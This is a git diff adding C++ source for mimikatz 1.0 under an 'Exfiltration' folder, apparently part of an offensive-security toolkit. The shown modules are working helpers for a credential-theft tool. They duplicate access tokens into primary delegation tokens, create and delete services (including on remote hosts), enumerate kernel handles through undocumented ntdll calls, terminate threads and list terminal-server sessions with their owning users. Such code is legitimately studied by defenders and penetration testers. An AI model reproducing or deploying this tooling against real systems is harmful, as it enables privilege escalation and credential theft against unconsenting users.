+ TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees); + reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); + } + delete[] mesDonnees; + } + + return reussite; +} + +bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) +{ + bool reussite = false; + HANDLE secToken; + if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0) + { + CloseHandle(*tokenHandle); + *tokenHandle = secToken; + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.h b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h new file mode 100644 index 0000000..5e8aa04 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_secacl.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <aclapi.h> +#include <sddl.h> + +using namespace std; + +class mod_secacl +{ +public: + static bool simpleSidToString(PSID Sid, wstring * String); + static bool sidToStrSid(PSID Sid, wstring * strSid); + static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT); + static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL); + + static bool exchangeDupToken(HANDLE * tokenHandle); + static bool addWorldToMimikatz(SC_HANDLE * monHandle); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.cpp b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp new file mode 100644 index 0000000..c234481 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.cpp @@ -0,0 +1,142 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_service.h" + +bool mod_service::getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName) // machine non implémenté +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE)) + { + DWORD tailleRequise = 0; + DWORD nbServices = 0; + DWORD resumeHandle = 0; + + if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA) + { + BYTE * servicesBuff = new BYTE[tailleRequise]; + ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESS *>(servicesBuff); + if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) + { + for(DWORD i = 0; i < nbServices; i++) + { + KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess}; + monVectorService->push_back(monService); + } + } + delete[] servicesBuff; + error = GetLastError(); + } + + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté +{ + bool reussite = false; + + vector<KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<KIWI_SERVICE_STATUS_PROCESS>(); + if(getList(vectorServices, machineName)) + { + for(vector<KIWI_SERVICE_STATUS_PROCESS>::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++) + { + if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0)) + { + *monService = *monSvc; + break; + } + } + } + delete vectorServices; + + return reussite; +} + +bool mod_service::start(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START)) + { + if(!(reussite = StartService(monService, 0, NULL) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + + return reussite; +} + +bool mod_service::remove(wstring * serviceName, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE)) + { + if(!(reussite = DeleteService(monService) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + +bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName) +{ + bool reussite = false; + DWORD error = ERROR_SUCCESS; + if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT)) + { + if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess)) + { + if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0)) + error = GetLastError(); + CloseServiceHandle(monService); + } + else + error = GetLastError(); + CloseServiceHandle(monManager); + SetLastError(error); + } + return reussite; +} + + +bool mod_service::stop(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName)); +} + +bool mod_service::suspend(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName)); +} + +bool mod_service::resume(wstring * serviceName, wstring * machineName) +{ + SERVICE_STATUS serviceStatus; + return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName)); +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_service.h b/Exfiltration/mimikatz-1.0/modules/mod_service.h new file mode 100644 index 0000000..b438454 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_service.h @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" + +class mod_service +{ +private: + static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL); + +public: + typedef struct _KIWI_SERVICE_STATUS_PROCESS + { + wstring serviceName; + wstring serviceDisplayName; + SERVICE_STATUS_PROCESS ServiceStatusProcess; + } KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS; + + static bool getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName = NULL); + static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL); + + static bool start(wstring * serviceName, wstring * machineName = NULL); + static bool suspend(wstring * serviceName, wstring * machineName = NULL); + static bool resume(wstring * serviceName, wstring * machineName = NULL); + static bool stop(wstring * serviceName, wstring * machineName = NULL); + + static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ? + + static bool add(wstring * binPath, vector<wstring> * arguments); // bla bla + static bool remove(wstring * serviceName, wstring * machineName = NULL); + static bool control(vector<wstring> * arguments); + +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.cpp b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp new file mode 100644 index 0000000..7a79a76 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.cpp @@ -0,0 +1,208 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_system.h" + +OSVERSIONINFOEX mod_system::GLOB_Version; + +wstring mod_system::getWinError(bool automatique, DWORD code) +{ + bool reussite = false; + DWORD dwError = (automatique ? GetLastError() : code); + wostringstream resultat; + wchar_t * monBuffer = NULL; + + resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')'; + if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0)) + reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0; + + if(reussite) + { + resultat << L' ' << monBuffer; + LocalFree(monBuffer); + } + else resultat << L" * Impossible d\'obtenir un message *"; + + return resultat.str(); +} + +bool mod_system::getUserName(wstring * monUserName) +{ + bool reussite = false; + unsigned long tailleRequise = 0; + + if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0)) + { + monUserName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getComputerName(wstring * monComputerName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0)) + { + monComputerName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getVersion(OSVERSIONINFOEX * maVersion) +{ + RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX)); + maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + return (GetVersionEx(reinterpret_cast<LPOSVERSIONINFO>(maVersion)) != 0); +} + +bool mod_system::getCurrentDirectory(wstring * monRepertoire) +{ + bool reussite = false; + DWORD tailleRequise = GetCurrentDirectory(0, NULL); + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1) + { + monRepertoire->assign(monBuffer); + reussite = true; + } + delete monBuffer; + return reussite; +} + +bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse) +{ + bool reussite = false; + wchar_t monBuffer[MAX_PATH]; + + if(PathIsRelative(thisData.c_str())) + { + wstring monRep = L""; + if(reussite = getCurrentDirectory(&monRep)) + { + PathCombine(monBuffer, monRep.c_str(), thisData.c_str()); + reponse->assign(monBuffer); + } + } + else + { + if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0)) + { + reponse->assign(monBuffer); + } + } + return reussite; +} + +bool mod_system::isFileExist(std::wstring &fichier, bool *resultat) +{ + bool reussite = false; + HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE)) + { + CloseHandle(monFichier); + *resultat = true; + } + else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND)) + { + *resultat = false; + } + return reussite; +} + +bool mod_system::getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid) +{ + bool reussite = false; + + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { + DWORD size = 0x10000; + BYTE * monBuffer = new BYTE[size]; + ULONG sizeReturn = 0; + NTSTATUS status; + + while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH) + { + delete[] monBuffer; + size <<= 1; + monBuffer = new BYTE[size]; + } + + if(reussite = NT_SUCCESS(status)) + { + PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(monBuffer); + for(DWORD i = 0; i < mesInfos->HandleCount; i++) + { + if(!pid || *pid == mesInfos->Handles[i].ProcessId) + mesHandles->push_back(mesInfos->Handles[i]); + } + } + + delete[] monBuffer; + } + + return reussite; +} + +bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) +{ + bool reussite = false; + + if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast<PNT_QUERY_OBJECT>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) + { + DWORD tailleRequise = 0; + + if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) + { + *buffer = new BYTE[tailleRequise]; + if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) + { + delete[] buffer; + } + } + } + + return reussite; +} + +bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) + { + POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(monBuffer); + strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) + { + PUNICODE_STRING typeName = reinterpret_cast<PUNICODE_STRING>(monBuffer); + strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h new file mode 100644 index 0000000..7f41190 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ntddk.h" +#include <security.h> +#include <shlwapi.h> +#include <sstream> +#include <iomanip> + +class mod_system +{ +private: + static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); + +public: + static wstring getWinError(bool automatique = true, DWORD code = 0); + + static bool getUserName(wstring * monUserName); + static bool getComputerName(wstring *monComputerName); + static bool getVersion(OSVERSIONINFOEX * maVersion); + + static bool isFileExist(std::wstring &fichier, bool *resultat); + static bool getCurrentDirectory(wstring * monRepertoire); + static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); + static bool getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid = NULL); // type ?? + static bool getHandleType(HANDLE monHandle, wstring * strType); + static bool getHandleName(HANDLE monHandle, wstring * strName); + + static OSVERSIONINFOEX GLOB_Version; +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp new file mode 100644 index 0000000..98de950 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp @@ -0,0 +1,101 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_text.h" + +PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast<PRTL_INIT_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); +PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); + +wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) +{ + wostringstream monStream; + for(DWORD j = 0; j < maTaille; j++) + { + monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; + if(longueur != 0) + { + monStream << L' '; + if ((j + 1) % longueur == 0) + monStream << endl; + } + } + return monStream.str(); +} + +wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) +{ + wstring result; + if(monTab && maTaille > 0) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; + if(IsTextUnicode(monTab, maTaille, &flags)) + { + result.assign(reinterpret_cast<const wchar_t *>(monTab), maTaille / sizeof(wchar_t)); + } + else + { + if(ligne) + result.assign(L"\n"); + result.append(stringOfHex(monTab, maTaille, longueur)); + } + } + else result.assign(L"<NULL>"); + + return result; +} + +void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) +{ + wstringstream z; + unsigned int temp; + for(size_t i = 0; i < maChaine.size() / 2; i++) + { + z.clear(); + z << maChaine.substr(i * 2, 2); z >> hex >> temp; + monTab[i] = temp; + } +} + +bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) +{ + if(str && suffix) + { + size_t str_len = wcslen(str), suffix_len = wcslen(suffix); + return wstr_ends_with(str, str_len, suffix, suffix_len); + } + return false; +} + +bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) +{ + if(str && suffix && (suffix_len <= str_len)) + return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); + return false; +} + +wstring mod_text::stringOfSTRING(UNICODE_STRING maString) +{ + return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); +} +string mod_text::stringOfSTRING(STRING maString) +{ + return string(maString.Buffer, maString.Length); +} + +void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) +{ + RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); + RtlInitUnicodeString(LsaString, monBuffer); +} + +LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) +{ + LUID monLUID = {0, 0}; + wstringstream z; + z << highPart; z >> monLUID.HighPart; + z.clear(); + z << lowPart; z >> monLUID.LowPart; + return monLUID; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h new file mode 100644 index 0000000..aeadd95 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.h @@ -0,0 +1,31 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <sstream> +#include <iomanip> + +using namespace std; + +class mod_text +{ +public: + static PRTL_INIT_STRING RtlInitString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + + static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); + static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); + static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); + + static wstring stringOfSTRING(UNICODE_STRING maString); + static string stringOfSTRING(STRING maString); + + static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); + static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); + + static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); + static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp new file mode 100644 index 0000000..d57b4f4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_thread.h" + +bool mod_thread::getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId) +{ + bool reussite = false; + + HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if(hThreadsSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 monThread; + monThread.dwSize = sizeof(THREADENTRY32); + + if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) + { + do + { + if(!processId || (*processId == monThread.th32OwnerProcessID)) + monVecteurThreads->push_back(monThread); + } while(Thread32Next(hThreadsSnapshot, &monThread)); + } + CloseHandle(hThreadsSnapshot); + } + + return reussite; +} + +bool mod_thread::suspend(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + SuspendThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::resume(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + ResumeThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::stop(DWORD & threadId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + TerminateThread(monHandle, exitCode); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::quit(DWORD & threadId) +{ + return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h new file mode 100644 index 0000000..a2f62f9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <tlhelp32.h> + +class mod_thread +{ +public: + static bool getList(vector<THREADENTRY32> * monVecteurThreads, DWORD * processId = NULL); + + static bool suspend(DWORD & threadId); + static bool resume(DWORD & threadId); + static bool stop(DWORD & threadId, DWORD exitCode = 0); + static bool quit(DWORD & threadId); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp new file mode 100644 index 0000000..97c5fb0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp @@ -0,0 +1,106 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_ts.h" + +bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) +{ + bool reussite = false; + + if(reussite = !server) + { + *phServer = WTS_CURRENT_SERVER_HANDLE; + } + else + { + wchar_t * serverName = _wcsdup(server->c_str()); + *phServer = WTSOpenServer(serverName); + delete[] serverName; + reussite = *phServer != NULL; + } + return reussite; +} + +bool mod_ts::closeServer(HANDLE hServer) +{ + if(hServer != WTS_CURRENT_SERVER_HANDLE) + WTSCloseServer(hServer); + + return true; +} + +bool mod_ts::getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server) +{ + bool reussite = false; + + PWTS_SESSION_INFO tabSessions; + DWORD nbSessions = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) + { + for(DWORD i = 0; i < nbSessions; i++) + { + KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; + mesSessions->push_back(a); + } + WTSFreeMemory(tabSessions); + } + closeServer(hServer); + } + + return reussite; +} + +bool mod_ts::getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server) +{ + bool reussite = false; + + PWTS_PROCESS_INFO tabProcess; + DWORD nbProcess = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) + { + for(DWORD i = 0; i < nbProcess; i++) + { + KIWI_WTS_PROCESS_INFO a = { + tabProcess[i].SessionId, + tabProcess[i].ProcessId, + tabProcess[i].pProcessName + }; + + wstring user; + wstring domain; + if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) + { + a.userSid.assign(domain); + a.userSid.push_back(L'\\'); + a.userSid.append(user); + } + else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) + { + if(tabProcess[i].pUserSid) + { + a.userSid.assign(L"erreur SID ; "); + a.userSid.append(mod_system::getWinError()); + } + else + a.userSid.assign(L"n.a."); + } + + mesProcesses->push_back(a); + } + WTSFreeMemory(tabProcess); + } + closeServer(hServer); + } + + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h new file mode 100644 index 0000000..6815bb8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.h @@ -0,0 +1,35 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" +#include "mod_system.h" +#include <wtsapi32.h> + +class mod_ts +{ +private: + static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); + static bool closeServer(HANDLE hServer); + +public: + typedef struct _KIWI_WTS_SESSION_INFO { + DWORD id; + DWORD state; + wstring sessionName; + } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; + + typedef struct _KIWI_WTS_PROCESS_INFO { + DWORD sessionId; + DWORD pid; + wstring processName; + wstring userSid; + } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; + + static bool getSessions(vector<KIWI_WTS_SESSION_INFO> * mesSessions, wstring * server = NULL); + static bool getProcesses(vector<KIWI_WTS_PROCESS_INFO> * mesProcesses, wstring * server = NULL); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp new file mode 100644 index 0000000..a54c5b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_windows.h" + +BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *> * mesHWNDS) +{ + DWORD processId = 0; + if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) + { + if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) + { + KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; + mesHWNDS->second->push_back(monEntree); + } + } + return TRUE; +} + + +bool mod_windows::getHWNDsFromProcessId(vector<mod_windows::KIWI_HWND_ENTRY> * mesHWNDS, DWORD processId) +{ + return (EnumWindows(reinterpret_cast<WNDENUMPROC>(enumHWNDCallback), reinterpret_cast<LPARAM>(&make_pair<DWORD, vector<mod_windows::KIWI_HWND_ENTRY> *>(processId, mesHWNDS))) != FALSE); +}
